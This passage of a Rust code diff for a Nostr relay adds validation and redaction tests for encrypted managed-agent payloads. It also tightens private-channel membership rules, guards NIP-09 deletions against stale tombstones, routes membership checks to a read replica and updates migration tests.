+fn parse_strict_json(bytes: &[u8]) -> Result<Value, Error> {
+    struct StrictValue;
+    impl<'de> DeserializeSeed<'de> for StrictValue {
+        type Value = Value;
+        fn deserialize<D: Deserializer<'de>>(self, d: D) -> Result<Value, D::Error> {
+            d.deserialize_any(self)
+        }
+    }
+    impl<'de> Visitor<'de> for StrictValue {
+        type Value = Value;
+        fn expecting(&self, f: &mut fmt::Formatter) -> fmt::Result {
+            f.write_str("valid JSON with unique object keys")
+        }
+        fn visit_bool<E>(self, v: bool) -> Result<Value, E> {
+            Ok(Value::Bool(v))
+        }
+        fn visit_i64<E>(self, v: i64) -> Result<Value, E> {
+            Ok(Value::Number(v.into()))
+        }
+        fn visit_u64<E>(self, v: u64) -> Result<Value, E> {
+            Ok(Value::Number(v.into()))
+        }
+        fn visit_f64<E: serde::de::Error>(self, v: f64) -> Result<Value, E> {
+            serde_json::Number::from_f64(v)
+                .map(Value::Number)
+                .ok_or_else(|| E::custom("non-finite float"))
+        }
+        fn visit_str<E>(self, v: &str) -> Result<Value, E> {
+            Ok(Value::String(v.to_owned()))
+        }
+        fn visit_string<E>(self, v: String) -> Result<Value, E> {
+            Ok(Value::String(v))
+        }
+        fn visit_unit<E>(self) -> Result<Value, E> {
+            Ok(Value::Null)
+        }
+        fn visit_none<E>(self) -> Result<Value, E> {
+            Ok(Value::Null)
+        }
+        fn visit_some<D: Deserializer<'de>>(self, d: D) -> Result<Value, D::Error> {
+            d.deserialize_any(self)
+        }
+        fn visit_seq<A: SeqAccess<'de>>(self, mut seq: A) -> Result<Value, A::Error> {
+            let mut out = Vec::new();
+            while let Some(value) = seq.next_element_seed(StrictValue)? {
+                out.push(value);
+            }
+            Ok(Value::Array(out))
+        }
+        fn visit_map<A: MapAccess<'de>>(self, mut map: A) -> Result<Value, A::Error> {
+            let mut seen = HashSet::new();
+            let mut out = serde_json::Map::new();
+            while let Some(key) = map.next_key::<String>()? {
+                if !seen.insert(key.clone()) {
+                    return Err(serde::de::Error::custom(format!("duplicate key: {key}")));
+                }
+                out.insert(key, map.next_value_seed(StrictValue)?);
+            }
+            Ok(Value::Object(out))
+        }
+    }
+    let mut deserializer = serde_json::Deserializer::from_slice(bytes);
+    let value = StrictValue
+        .deserialize(&mut deserializer)
+        .map_err(|e| Error::InvalidPayload(e.to_string()))?;
+    deserializer
+        .end()
+        .map_err(|e| Error::InvalidPayload(e.to_string()))?;
+    Ok(value)
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use nostr::ToBech32;
+
+    fn auth_tag(owner: &Keys, agent: &Keys) -> String {
+        let preimage = format!("nostr:agent-auth:{}:", agent.public_key().to_hex());
+        let digest = Sha256::digest(preimage.as_bytes());
+        let signature = owner.sign_schnorr(&Message::from_digest(digest.into()));
+        serde_json::json!([
+            "auth",
+            owner.public_key().to_hex(),
+            "",
+            signature.to_string()
+        ])
+        .to_string()
+    }
+
+    fn payload(owner: &Keys, agent: &Keys) -> Payload {
+        let definition_event = EventBuilder::new(Kind::Custom(KIND_PERSONA as u16), "definition")
+            .tags(vec![Tag::parse(["d", "test-agent"]).unwrap()])
+            .custom_created_at(nostr::Timestamp::from(1_785_780_000))
+            .sign_with_keys(owner)
+            .unwrap();
+        let instance_event = EventBuilder::new(Kind::Custom(KIND_MANAGED_AGENT as u16), "instance")
+            .tags(vec![Tag::parse([
+                "d",
+                agent.public_key().to_hex().as_str(),
+            ])
+            .unwrap()])
+            .custom_created_at(nostr::Timestamp::from(1_785_780_000))
+            .sign_with_keys(owner)
+            .unwrap();
+        Payload {
+            format: FORMAT.into(),
+            version: VERSION,
+            agent_pubkey: agent.public_key().to_hex(),
+            owner_pubkey: owner.public_key().to_hex(),
+            generation: 1,
+            previous_event_id: None,
+            state: State::Active,
+            updated_at: "2026-08-03T18:00:00Z".into(),
+            active: Some(ActivePayload {
+                definition: DefinitionBinding {
+                    revision: 1,
+                    event_id: definition_event.id.to_hex(),
+                    content_sha256: content_sha256(definition_event.content.as_bytes()),
+                    recovery: ProjectionRecoveryV1 {
+                        version: 1,
+                        signed_event: definition_event,
+                    },
+                },
+                instance_projection: InstanceBinding {
+                    event_id: instance_event.id.to_hex(),
+                    content_sha256: content_sha256(instance_event.content.as_bytes()),
+                    recovery: ProjectionRecoveryV1 {
+                        version: 1,
+                        signed_event: instance_event,
+                    },
+                },
+                identity: PrivateIdentity {
+                    private_key_nsec: agent.secret_key().to_bech32().unwrap(),
+                    auth_tag: None,
+                },
+                config: PrivateConfig {
+                    definition_coordinate: Some(format!(
+                        "30175:{}:test-agent",
+                        owner.public_key().to_hex()
+                    )),
+                    relay_url: "wss://relay.example".into(),
+                    agent_command_override: None,
+                    agent_args: vec![],
+                    idle_timeout_seconds: Some(300),
+                    max_turn_duration_seconds: None,
+                    env_vars: BTreeMap::from([("SECRET".into(), "not-public".into())]),
+                    backend: serde_json::json!({"type": "local"}),
+                    backend_agent_id: None,
+                    team_id: None,
+                    persona_name_in_team: None,
+                    relay_mesh: None,
+                },
+            }),
+            deleted_at: None,
+            extensions: BTreeMap::new(),
+        }
+    }
+
+    #[test]
+    fn owner_self_round_trip_binds_outer_and_inner() {
+        let owner = Keys::generate();
+        let agent = Keys::generate();
+        let expected = payload(&owner, &agent);
+        let event = build_event(&owner, &expected, 1_785_780_000).unwrap();
+        let (envelope, actual) = validate_and_decrypt(&event, &owner).unwrap();
+        assert_eq!(actual, expected);
+        assert_eq!(envelope.agent_pubkey, agent.public_key());
+        assert_eq!(envelope.owner_pubkey, owner.public_key());
+        assert_eq!(envelope.generation, 1);
+        assert_eq!(envelope.state, State::Active);
+    }
+
+    #[test]
+    fn debug_output_redacts_private_material() {
+        let owner = Keys::generate();
+        let agent = Keys::generate();
+        let mut candidate = payload(&owner, &agent);
+        let private_key_nsec = candidate
+            .active
+            .as_ref()
+            .unwrap()
+            .identity
+            .private_key_nsec
+            .clone();
+        let active = candidate.active.as_mut().unwrap();
+        active.identity.auth_tag = Some("secret-auth-tag".into());
+        active.config.backend = serde_json::json!({"token": "secret-backend-token"});
+
+        let debug = format!("{candidate:?}");
+        assert!(debug.contains("<redacted>"));
+        assert!(!debug.contains(&private_key_nsec));
+        assert!(!debug.contains("secret-auth-tag"));
+        assert!(!debug.contains("not-public"));
+        assert!(!debug.contains("secret-backend-token"));
+    }
+
+    #[test]
+    fn wrong_owner_and_tampering_fail_closed() {
+        let owner = Keys::generate();
+        let event =
+            build_event(&owner, &payload(&owner, &Keys::generate()), 1_785_780_000).unwrap();
+        let stranger = Keys::generate();
+        assert!(matches!(
+            validate_and_decrypt(&event, &stranger),
+            Err(Error::InvalidEnvelope(_))
+        ));
+
+        let mut tampered = event;
+        tampered.content.push('A');
+        assert!(matches!(
+            validate_and_decrypt(&tampered, &owner),
+            Err(Error::InvalidEnvelope(_))
+        ));
+    }
+
+    #[test]
+    fn duplicate_and_unknown_json_fields_are_rejected() {
+        let duplicate = br#"{"format":"a","format":"b"}"#;
+        assert!(matches!(
+            parse_strict_json(duplicate),
+            Err(Error::InvalidPayload(message)) if message.contains("duplicate key")
+        ));
+
+        let owner = Keys::generate();
+        let agent = Keys::generate();
+        let mut value = serde_json::to_value(payload(&owner, &agent)).unwrap();
+        value
+            .as_object_mut()
+            .unwrap()
+            .insert("surprise".into(), Value::Bool(true));
+        let err = serde_json::from_value::<Payload>(value).unwrap_err();
+        assert!(err.to_string().contains("unknown field"));
+    }
+
+    #[test]
+    fn auth_tag_must_be_unconditional_and_bound_to_owner_and_agent() {
+        let owner = Keys::generate();
+        let agent = Keys::generate();
+        let mut candidate = payload(&owner, &agent);
+        candidate.active.as_mut().unwrap().identity.auth_tag = Some(auth_tag(&owner, &agent));
+        validate_payload(&candidate).unwrap();
+
+        candidate.active.as_mut().unwrap().identity.auth_tag =
+            Some(auth_tag(&Keys::generate(), &agent));
+        assert!(validate_payload(&candidate).is_err());
+
+        candidate.active.as_mut().unwrap().identity.auth_tag =
+            Some(auth_tag(&owner, &Keys::generate()));
+        assert!(validate_payload(&candidate).is_err());
+
+        let mut self_attested = payload(&owner, &owner);
+        self_attested.active.as_mut().unwrap().identity.auth_tag = Some(auth_tag(&owner, &owner));
+        assert!(matches!(
+            validate_payload(&self_attested),
+            Err(Error::InvalidPayload(message)) if message.contains("distinct agent key")
+        ));
+
+        let valid = auth_tag(&owner, &agent);
+        let mut parts: Vec<String> = serde_json::from_str(&valid).unwrap();
+        parts[2] = "kind=9".into();
+        candidate.active.as_mut().unwrap().identity.auth_tag =
+            Some(serde_json::to_string(&parts).unwrap());
+        assert!(validate_payload(&candidate).is_err());
+    }
+
+    #[test]
+    fn active_identity_must_derive_coordinate() {
+        let owner = Keys::generate();
+        let mut candidate = payload(&owner, &Keys::generate());
+        candidate.active.as_mut().unwrap().identity.private_key_nsec =
+            Keys::generate().secret_key().to_bech32().unwrap();
+        assert!(matches!(
+            validate_payload(&candidate),
+            Err(Error::InvalidPayload(message)) if message.contains("does not derive")
+        ));
+    }
+
+    #[test]
+    fn tombstone_requires_successor_shape() {
+        let owner = Keys::generate();
+        let agent = Keys::generate();
+        let mut deleted = payload(&owner, &agent);
+        deleted.generation = 2;
+        deleted.previous_event_id = Some("33".repeat(32));
+        deleted.state = State::Deleted;
+        deleted.active = None;
+        deleted.deleted_at = Some("2026-08-03T18:01:00Z".into());
+        validate_payload(&deleted).unwrap();
+
+        deleted.previous_event_id = None;
+        assert!(validate_payload(&deleted).is_err());
+    }
+
+    #[test]
+    fn outer_tag_grammar_rejects_duplicates_and_noncanonical_generation() {
+        let owner = Keys::generate();
+        let agent = Keys::generate();
+        let body = payload(&owner, &agent);
+        let ciphertext = nip44::encrypt(
+            owner.secret_key(),
+            &owner.public_key(),
+            serde_json::to_string(&body).unwrap(),
+            Version::V2,
+        )
+        .unwrap();
+        let event = EventBuilder::new(Kind::Custom(KIND_PRIVATE_MANAGED_AGENT as u16), ciphertext)
+            .tags(vec![
+                Tag::parse(["d", agent.public_key().to_hex().as_str()]).unwrap(),
+                Tag::parse(["g", "01"]).unwrap(),
+                Tag::parse(["state", "active"]).unwrap(),
+            ])
+            .sign_with_keys(&owner)
+            .unwrap();
+        assert!(matches!(
+            validate_envelope(&event, &owner.public_key()),
+            Err(Error::InvalidEnvelope(message)) if message.contains("canonical decimal")
+        ));
+    }
+
+    #[test]
+    fn projection_recovery_must_match_binding_and_coordinate() {
+        let owner = Keys::generate();
+        let agent = Keys::generate();
+        let mut candidate = payload(&owner, &agent);
+        let active = candidate.active.as_mut().unwrap();
+        active.instance_projection.content_sha256 = content_sha256(b"wrong");
+        assert!(matches!(
+            validate_payload(&candidate),
+            Err(Error::InvalidPayload(message)) if message.contains("does not match binding")
+        ));
+
+        let mut candidate = payload(&owner, &agent);
+        candidate
+            .active
+            .as_mut()
+            .unwrap()
+            .config
+            .definition_coordinate =
+            Some(format!("30175:{}:wrong-slug", owner.public_key().to_hex()));
+        assert!(matches!(
+            validate_payload(&candidate),
+            Err(Error::InvalidPayload(message)) if message.contains("wrong coordinate")
+        ));
+        let mut candidate = payload(&owner, &agent);
+        candidate
+            .active
+            .as_mut()
+            .unwrap()
+            .definition
+            .recovery
+            .version = 2;
+        assert!(matches!(
+            validate_payload(&candidate),
+            Err(Error::InvalidPayload(message)) if message.contains("unsupported definition recovery version")
+        ));
+
+        let mut candidate = payload(&owner, &agent);
+        candidate
+            .active
+            .as_mut()
+            .unwrap()
+            .definition
+            .recovery
+            .signed_event
+            .content
+            .push('!');
+        assert!(matches!(
+            validate_payload(&candidate),
+            Err(Error::InvalidPayload(message)) if message.contains("invalid definition recovery event")
+        ));
+
+        let mut candidate = payload(&owner, &agent);
+        let wrong_kind = EventBuilder::new(Kind::Custom(KIND_MANAGED_AGENT as u16), "definition")
+            .tags(vec![Tag::parse(["d", "test-agent"]).unwrap()])
+            .sign_with_keys(&owner)
+            .unwrap();
+        let definition = &mut candidate.active.as_mut().unwrap().definition;
+        definition.event_id = wrong_kind.id.to_hex();
+        definition.content_sha256 = content_sha256(wrong_kind.content.as_bytes());
+        definition.recovery.signed_event = wrong_kind;
+        assert!(matches!(
+            validate_payload(&candidate),
+            Err(Error::InvalidPayload(message)) if message.contains("does not match binding")
+        ));
+
+        let mut candidate = payload(&owner, &agent);
+        let missing_d = EventBuilder::new(Kind::Custom(KIND_PERSONA as u16), "definition")
+            .sign_with_keys(&owner)
+            .unwrap();
+        let definition = &mut candidate.active.as_mut().unwrap().definition;
+        definition.event_id = missing_d.id.to_hex();
+        definition.content_sha256 = content_sha256(missing_d.content.as_bytes());
+        definition.recovery.signed_event = missing_d;
+        assert!(matches!(
+            validate_payload(&candidate),
+            Err(Error::InvalidPayload(message)) if message.contains("exactly one non-empty d tag")
+        ));
+    }
+
+    #[test]
+    fn projection_hash_fixture_is_stable() {
+        assert_eq!(
+            content_sha256(b"buzz-private-managed-agent-v1"),
+            "c3ca1603249c95343fc1766ba58d075d6bdf0e57b375bef38738729b2022cc80"
+        );
+    }
+}
diff --git a/crates/buzz-db/src/channel.rs b/crates/buzz-db/src/channel.rs
index 5508c95cad..9d15fccfc8 100644
--- a/crates/buzz-db/src/channel.rs
+++ b/crates/buzz-db/src/channel.rs
@@ -371,7 +371,9 @@ async fn acquire_channel_membership_lock(
 /// Role enforcement:
 /// - Open channels: `invited_by` is optional; role is forced to `Member` regardless of
 ///   what the caller passes — callers cannot self-assign elevated roles.
-/// - Private channels: requires an `invited_by` who is an active owner/admin.
+/// - Private channels: requires an `invited_by` who is an active owner/admin, the channel
+///   creator bootstrapping their own first membership, or the target adding themselves
+///   (idempotent re-add — an active member's *role* still cannot change this way).
 /// - Elevated roles (`Owner`, `Admin`) may only be granted by an existing owner/admin,
 ///   even on open channels.
 ///
@@ -419,10 +421,14 @@ pub async fn add_member(
                 DbError::InvalidData(format!("invalid role in database: {inviter_role_str}"))
             })?;
 
-            // Any member can invite others, but only owners/admins may grant elevated roles.
-            if role.is_elevated() && !inviter_role.is_elevated() {
+            // Only owners/admins may extend private-channel access to another
+            // identity. `inviter == pubkey` keeps a member's own idempotent
+            // re-add working; it is not a role-escalation hole, because the
+            // active-role-change guard below still rejects a self-targeted
+            // promotion from any non-elevated caller.
+            if !inviter_role.is_elevated() && inviter != pubkey {
                 return Err(DbError::AccessDenied(
-                    "only owners/admins may grant elevated roles".to_string(),
+                    "only owners/admins may add private-channel members".to_string(),
                 ));
             }
         }
diff --git a/crates/buzz-db/src/event.rs b/crates/buzz-db/src/event.rs
index 6c84950a2c..e1b45aa3a1 100644
--- a/crates/buzz-db/src/event.rs
+++ b/crates/buzz-db/src/event.rs
@@ -789,7 +789,8 @@ pub async fn soft_delete_event(
 }
 
 /// Soft-delete the live row for an addressable coordinate
-/// `(kind, pubkey, d_tag)` — the NIP-33 replacement key.
+/// `(kind, pubkey, d_tag)` — the NIP-33 replacement key — provided it is not
+/// newer than the deletion request.
 ///
 /// Used by `handle_a_tag_deletion` to honour NIP-09 a-tag deletions for any
 /// parameterized-replaceable kind. The WHERE clause mirrors
@@ -797,23 +798,45 @@ pub async fn soft_delete_event(
 /// `channel_id` is intentionally NOT in the key (NIP-33 replacement is global
 /// per the spec — `channel_id` is stored for query scoping, not identity).
 ///
+/// `deletion_created_at_secs` is the deletion event's own `created_at`. NIP-09
+/// scopes an `a`-tag deletion to versions at or before that instant, so a
+/// delayed or replayed tombstone signed between two versions must not erase the
+/// newer replacement. `events.created_at` is immutable per row, so the predicate
+/// guarantees a tombstone can never erase a version newer than itself — the UPDATE
+/// re-evaluates its WHERE clause after any lock wait, so a replacement that races
+/// the deletion and lands with a later `created_at` is always spared.
+///
+/// This does NOT guarantee deletion completeness when a same-coordinate
+/// replacement races the deletion: the deletion may evaluate its predicate before
+/// the replacement arrives, miss the incoming head, and return `Ok(false)`. That
+/// outcome is state-identical to the deletion having arrived first (old head
+/// gone, new head present), which is a valid Nostr ordering — Nostr never fixes
+/// the order of concurrent writes from different signers, and even same-signer
+/// ordering is advisory. The return value feeds only a debug log, not a
+/// correctness gate.
+///
 /// Returns `Ok(true)` if a row was deleted, `Ok(false)` if no live row matched
-/// (already deleted, or never existed).
+/// (already deleted, never existed, or strictly newer than the deletion).
 pub async fn soft_delete_by_coordinate(
     pool: &PgPool,
     community_id: CommunityId,
     kind: i32,
     pubkey: &[u8],
     d_tag: &str,
+    deletion_created_at_secs: i64,
 ) -> Result<bool> {
+    let deletion_created_at = DateTime::from_timestamp(deletion_created_at_secs, 0)
+        .ok_or(DbError::InvalidTimestamp(deletion_created_at_secs))?;
     let result = sqlx::query(
         "UPDATE events SET deleted_at = NOW() \
-         WHERE community_id = $1 AND kind = $2 AND pubkey = $3 AND d_tag = $4 AND deleted_at IS NULL",
+         WHERE community_id = $1 AND kind = $2 AND pubkey = $3 AND d_tag = $4 AND deleted_at IS NULL \
+         AND created_at <= $5",
     )
     .bind(community_id.as_uuid())
     .bind(kind)
     .bind(pubkey)
     .bind(d_tag)
+    .bind(deletion_created_at)
     .execute(pool)
     .await?;
 
@@ -1518,7 +1541,7 @@ mod tests {
     use super::*;
     use nostr::{EventBuilder, Keys, Kind, Tag};
 
-    const TEST_DB_URL: &str = "postgres://buzz:buzz_dev@localhost:5432/buzz";
+    const TEST_DB_URL: &str = "postgres://buzz:buzz_dev@localhost:5432/buzz"; // sadscan:disable np.postgres.1
 
     async fn setup_pool() -> PgPool {
         let database_url = std::env::var("BUZZ_TEST_DATABASE_URL")
@@ -1920,6 +1943,42 @@ mod tests {
             .expect("sign reaction event")
     }
 
+    #[tokio::test]
+    #[ignore = "requires Postgres"]
+    async fn reaction_single_tx_stores_wrapped_max_shortcode() {
+        let pool = setup_pool().await;
+        let community = CommunityId::from_uuid(make_test_community(&pool).await);
+        let target = make_text_event("long custom emoji target");
+        insert_event(&pool, community, &target, None)
+            .await
+            .expect("insert target");
+
+        let actor = Keys::generate();
+        let emoji = format!(":{}:", "a".repeat(64));
+        let reaction = make_reaction_event(&actor, &target.id.to_hex(), &emoji);
+        let outcome = insert_reaction_event_with_thread_metadata(
+            &pool,
+            community,
+            &reaction,
+            None,
+            None,
+            target.id.as_bytes(),
+            &actor.public_key().to_bytes(),
+            &emoji,
+        )
+        .await
+        .expect("store wrapped 64-character shortcode");
+
+        assert!(matches!(
+            outcome,
+            ReactionEventInsertOutcome::Inserted {
+                was_inserted: true,
+                ..
+            }
+        ));
+        assert_eq!(emoji.chars().count(), 66);
+    }
+
     #[tokio::test]
     #[ignore = "requires Postgres"]
     async fn reaction_single_tx_duplicate_short_circuit_stores_no_event() {
diff --git a/crates/buzz-db/src/lib.rs b/crates/buzz-db/src/lib.rs
index 7b66d3fce0..8710e31a76 100644
--- a/crates/buzz-db/src/lib.rs
+++ b/crates/buzz-db/src/lib.rs
@@ -1815,16 +1815,27 @@ impl Db {
         event::soft_delete_event(&self.pool, community_id, event_id).await
     }
 
-    /// Soft-delete the live row for an addressable coordinate `(kind, pubkey, d_tag)`.
-    /// Used by NIP-09 a-tag deletion for parameterized-replaceable kinds.
+    /// Soft-delete the live row for an addressable coordinate `(kind, pubkey, d_tag)`
+    /// when it is not newer than the deletion request.
+    /// Used by NIP-09 a-tag deletion for parameterized-replaceable kinds;
+    /// `deletion_created_at_secs` is the deletion event's `created_at`.
     pub async fn soft_delete_by_coordinate(
         &self,
         community_id: CommunityId,
         kind: i32,
         pubkey: &[u8],
         d_tag: &str,
+        deletion_created_at_secs: i64,
     ) -> Result<bool> {
-        event::soft_delete_by_coordinate(&self.pool, community_id, kind, pubkey, d_tag).await
+        event::soft_delete_by_coordinate(
+            &self.pool,
+            community_id,
+            kind,
+            pubkey,
+            d_tag,
+            deletion_created_at_secs,
+        )
+        .await
     }
 
     /// Atomically soft-delete an event and decrement thread reply counters.
@@ -3990,8 +4001,33 @@ impl Db {
     }
 
     /// Returns `true` if `pubkey` (64-char hex) is a member of `community`.
+    ///
+    /// Replica-routed on the bounded arm — the one PERMISSION read routed by
+    /// explicit product decision (bounded-stale membership beats the 10s
+    /// cache it replaced). Admits and revokes may lag by at most the budget
+    /// `B`; everything else fails closed to the writer, exactly like
+    /// [`Db::query_events_routed_bounded`]. Not precedent for routing other
+    /// permission reads.
     pub async fn is_relay_member(&self, community: CommunityId, pubkey: &str) -> Result<bool> {
-        relay_members::is_relay_member(&self.pool, community, pubkey).await
+        let path = "relay_membership";
+        match self.route_read(path, RoutePredicate::Bounded).await {
+            RouteDecision::Replica(mut tx, _entry, reason) => {
+                match relay_members::is_relay_member_on(&mut tx, community, pubkey).await {
+                    Ok(is_member) => {
+                        Self::record_route(path, "replica", reason);
+                        Ok(is_member)
+                    }
+                    Err(e) => {
+                        tracing::warn!(path, "replica read failed; re-running on writer: {e}");
+                        Self::record_route(path, "writer", "replica_error");
+                        relay_members::is_relay_member(&self.pool, community, pubkey).await
+                    }
+                }
+            }
+            RouteDecision::Writer => {
+                relay_members::is_relay_member(&self.pool, community, pubkey).await
+            }
+        }
     }
 
     /// Returns the relay member record for `pubkey` in `community`, or `None` if not found.
@@ -4087,6 +4123,12 @@ impl Db {
         relay_members::bootstrap_owner(&self.pool, community, owner_pubkey).await
     }
 
+    /// Returns `true` if any member of `community` holds the `admin` or
+    /// `owner` role.
+    pub async fn has_admin_or_owner(&self, community: CommunityId) -> Result<bool> {
+        relay_members::has_admin_or_owner(&self.pool, community).await
+    }
+
     /// Atomically transfers ownership of `community` to `new_owner_pubkey`,
     /// demoting the previous owner(s) to `member`. Verifies
     /// `expected_owner_pubkey` matches the current owner inside the same
@@ -5229,6 +5271,75 @@ mod tests {
         );
     }
 
+    #[tokio::test]
+    #[ignore = "requires Postgres"]
+    async fn coordinate_delete_spares_head_newer_than_the_deletion() {
+        use nostr::{EventBuilder, Keys, Kind, Tag, Timestamp};
+
+        let db = setup_db().await;
+        let community = CommunityId::from_uuid(make_community(&db.pool).await);
+        let keys = Keys::generate();
+        let kind = buzz_core::kind::KIND_PROJECT as i32;
+        let d_tag = "stale-tombstone-project";
+        let pubkey = keys.public_key().to_bytes().to_vec();
+        let base = Timestamp::now().as_secs();
+
+        let version = |content: &str, offset: u64| {
+            EventBuilder::new(Kind::Custom(buzz_core::kind::KIND_PROJECT as u16), content)
+                .tags(vec![Tag::parse(["d", d_tag]).expect("d tag")])
+                .custom_created_at(Timestamp::from(base + offset))
+                .sign_with_keys(&keys)
+                .expect("sign project version")
+        };
+
+        for (content, offset) in [("v1", 0), ("v2", 100)] {
+            assert!(
+                db.replace_parameterized_event(community, &version(content, offset), d_tag, None)
+                    .await
+                    .expect("store project version")
+                    .1
+            );
+        }
+
+        // Tombstone timestamped between V1 and V2: it authorizes deleting V1,
+        // never the newer head that replaced it.
+        let stale_deleted = db
+            .soft_delete_by_coordinate(community, kind, &pubkey, d_tag, (base + 50) as i64)
+            .await
+            .expect("stale coordinate delete");
+        assert!(
+            !stale_deleted,
+            "a tombstone older than the live head must delete nothing"
+        );
+
+        let live_content: Option<String> = sqlx::query_scalar(
+            "SELECT content FROM events \
+             WHERE community_id=$1 AND kind=$2 AND pubkey=$3 AND d_tag=$4 AND deleted_at IS NULL",
+        )
+        .bind(community.as_uuid())
+        .bind(kind)
+        .bind(&pubkey)
+        .bind(d_tag)
+        .fetch_optional(&db.pool)
+        .await
+        .expect("read live head");
+        assert_eq!(
+            live_content.as_deref(),
+            Some("v2"),
+            "the newer head must survive a stale tombstone"
+        );
+
+        // A tombstone at or after the head's own timestamp still deletes it.
+        let current_deleted = db
+            .soft_delete_by_coordinate(community, kind, &pubkey, d_tag, (base + 100) as i64)
+            .await
+            .expect("current coordinate delete");
+        assert!(
+            current_deleted,
+            "a tombstone at the head's timestamp must delete it (NIP-09 is at-or-before)"
+        );
+    }
+
     #[tokio::test]
     #[ignore = "requires Postgres"]
     async fn duplicate_nip_rs_discriminator_tags_keep_legacy_retention() {
@@ -7330,6 +7441,78 @@ mod tests {
         drop_scratch_db(&admin, writer, &wname).await;
     }
 
+    /// Routed relay-membership check: budget unset ⇒ writer; budget set +
+    /// fresh proved entry ⇒ replica (bounded arm); over-budget entry ⇒
+    /// writer. Divergent membership rows prove which pool answered.
+    #[tokio::test]
+    #[ignore = "requires Postgres"]
+    async fn is_relay_member_is_bounded_routed_and_fails_closed() {
+        let admin = PgPool::connect(&admin_url().await)
+            .await
+            .expect("connect admin");
+        let (writer, wname) = create_scratch_db(&admin, "mem_w").await;
+        let (replica, rname) = create_scratch_db(&admin, "mem_r").await;
+
+        let community = Uuid::new_v4();
+        for pool in [&writer, &replica] {
+            sqlx::query("INSERT INTO communities (id, host) VALUES ($1, $2)")
+                .bind(community)
+                .bind(format!("member-routing-{}.example", community.simple()))
+                .execute(pool)
+                .await
+                .expect("insert community");
+        }
+        let cid = CommunityId::from_uuid(community);
+        let writer_only = "aa".repeat(32);
+        let replica_only = "bb".repeat(32);
+        relay_members::add_relay_member(&writer, cid, &writer_only, "member", None)
+            .await
+            .expect("seed writer member");
+        relay_members::add_relay_member(&replica, cid, &replica_only, "member", None)
+            .await
+            .expect("seed replica member");
+
+        let mut db = Db::from_pools(writer.clone(), replica.clone());
+        db.fence().force_open_for_tests(chrono::Utc::now());
+
+        // Budget unset ⇒ bounded arm disabled ⇒ writer.
+        assert!(
+            db.is_relay_member(cid, &writer_only)
+                .await
+                .expect("gate off"),
+            "budget unset must answer from the writer"
+        );
+        assert!(!db.is_relay_member(cid, &replica_only).await.unwrap());
+
+        // Budget set + fresh entry ⇒ replica.
+        db.set_replica_read_max_age_for_tests(Some(std::time::Duration::from_secs(5)));
+        assert!(
+            db.is_relay_member(cid, &replica_only)
+                .await
+                .expect("gate on"),
+            "budget set must answer from the replica"
+        );
+        assert!(!db.is_relay_member(cid, &writer_only).await.unwrap());
+
+        // Entry older than the budget ⇒ fail closed to the writer. Close
+        // first so no prior fresh entry can be the one proved (matches the
+        // count test; today `force_open_for_tests_at` also clears the ring).
+        db.fence().close();
+        db.fence().force_open_for_tests_at(
+            chrono::Utc::now(),
+            std::time::Instant::now() - std::time::Duration::from_secs(10),
+        );
+        assert!(
+            db.is_relay_member(cid, &writer_only)
+                .await
+                .expect("entry too old"),
+            "an over-budget entry must fail closed to the writer"
+        );
+
+        drop_scratch_db(&admin, replica, &rname).await;
+        drop_scratch_db(&admin, writer, &wname).await;
+    }
+
     /// Community separation across every routed seam, verified on
     /// REPLICA-SERVED reads.
     ///
diff --git a/crates/buzz-db/src/migration.rs b/crates/buzz-db/src/migration.rs
index 6985916bba..37f54d0fa2 100644
--- a/crates/buzz-db/src/migration.rs
+++ b/crates/buzz-db/src/migration.rs
@@ -100,7 +100,7 @@ mod tests {
     use super::*;
     use std::collections::BTreeSet;
 
-    const TEST_DB_URL: &str = "postgres://buzz:buzz_dev@localhost:5432/buzz";
+    const TEST_DB_URL: &str = "postgres://buzz:buzz_dev@localhost:5432/buzz"; // sadscan:disable np.postgres.1
 
     #[derive(Debug, Clone, Copy, PartialEq, Eq)]
     enum ConstraintKind {
@@ -561,7 +561,7 @@ mod tests {
         let mut migrations: Vec<_> = MIGRATOR.iter().collect();
         migrations.sort_by_key(|migration| migration.version);
 
-        assert_eq!(migrations.len(), 26);
+        assert_eq!(migrations.len(), 28);
         assert_eq!(migrations[0].version, 1);
         assert_eq!(&*migrations[0].description, "initial schema");
         assert!(migrations[0]
@@ -919,6 +919,33 @@ mod tests {
         assert!(heartbeat.contains("epoch"));
         assert!(heartbeat.contains("INSERT INTO replica_heartbeat (id) VALUES (1)"));
         assert!(heartbeat.contains("_operator_global_tables"));
+        // Channel-id lookup index (0027): serves the tenant-independent
+        // `channels` lookups that carry no community_id predicate, which no
+        // community_id-leading index can satisfy. Covering + partial so the
+        // planner can go index-only; asserted NOT UNIQUE because `id` alone is
+        // not unique in this table (the same channel id may exist under more
+        // than one community), so a unique index would encode a false
+        // constraint and fail to build on such a database.
+        assert_eq!(migrations[26].version, 27);
+        let channel_id_index = migrations[26].sql.as_str();
+        assert!(channel_id_index.contains("idx_channels_id_live"));
+        assert!(channel_id_index.contains("INCLUDE (community_id)"));
+        assert!(channel_id_index.contains("WHERE deleted_at IS NULL"));
+        assert!(
+            !channel_id_index.contains("CREATE UNIQUE INDEX"),
+            "channels.id is not unique across communities — index must not be UNIQUE",
+        );
+        assert!(
+            desired_schema.contains("idx_channels_id_live"),
+            "desired-state schema must carry the channel-id lookup index",
+        );
+
+        assert_eq!(migrations[27].version, 28);
+        let long_reactions = migrations[27].sql.as_str();
+        assert!(
+            long_reactions.contains("ALTER TABLE reactions ALTER COLUMN emoji TYPE VARCHAR(66)")
+        );
+        assert!(desired_schema.contains("emoji               VARCHAR(66) NOT NULL"));
     }
 
     #[test]
@@ -1161,7 +1188,7 @@ mod tests {
         run_migrations(&pool)
             .await
             .expect("retry succeeds after operator repair");
-        assert_eq!(applied_versions(&pool).await.last().copied(), Some(26));
+        assert_eq!(applied_versions(&pool).await.last().copied(), Some(27));
     }
 
     #[tokio::test]
diff --git a/crates/buzz-db/src/relay_members.rs b/crates/buzz-db/src/relay_members.rs
index bfc56f82de..402229cdec 100644
--- a/crates/buzz-db/src/relay_members.rs
+++ b/crates/buzz-db/src/relay_members.rs
@@ -29,14 +29,41 @@ pub struct RelayMember {
 
 /// Returns `true` if `pubkey` (64-char hex) is a member of `community`.
 pub async fn is_relay_member(pool: &PgPool, community: CommunityId, pubkey: &str) -> Result<bool> {
+    let mut conn = pool.acquire().await?;
+    is_relay_member_on(&mut conn, community, pubkey).await
+}
+
+/// [`is_relay_member`] on a specific session — the replica-routing path runs
+/// the lookup on the exact reader connection whose heartbeat observation
+/// proved fence coverage.
+pub(crate) async fn is_relay_member_on(
+    conn: &mut sqlx::PgConnection,
+    community: CommunityId,
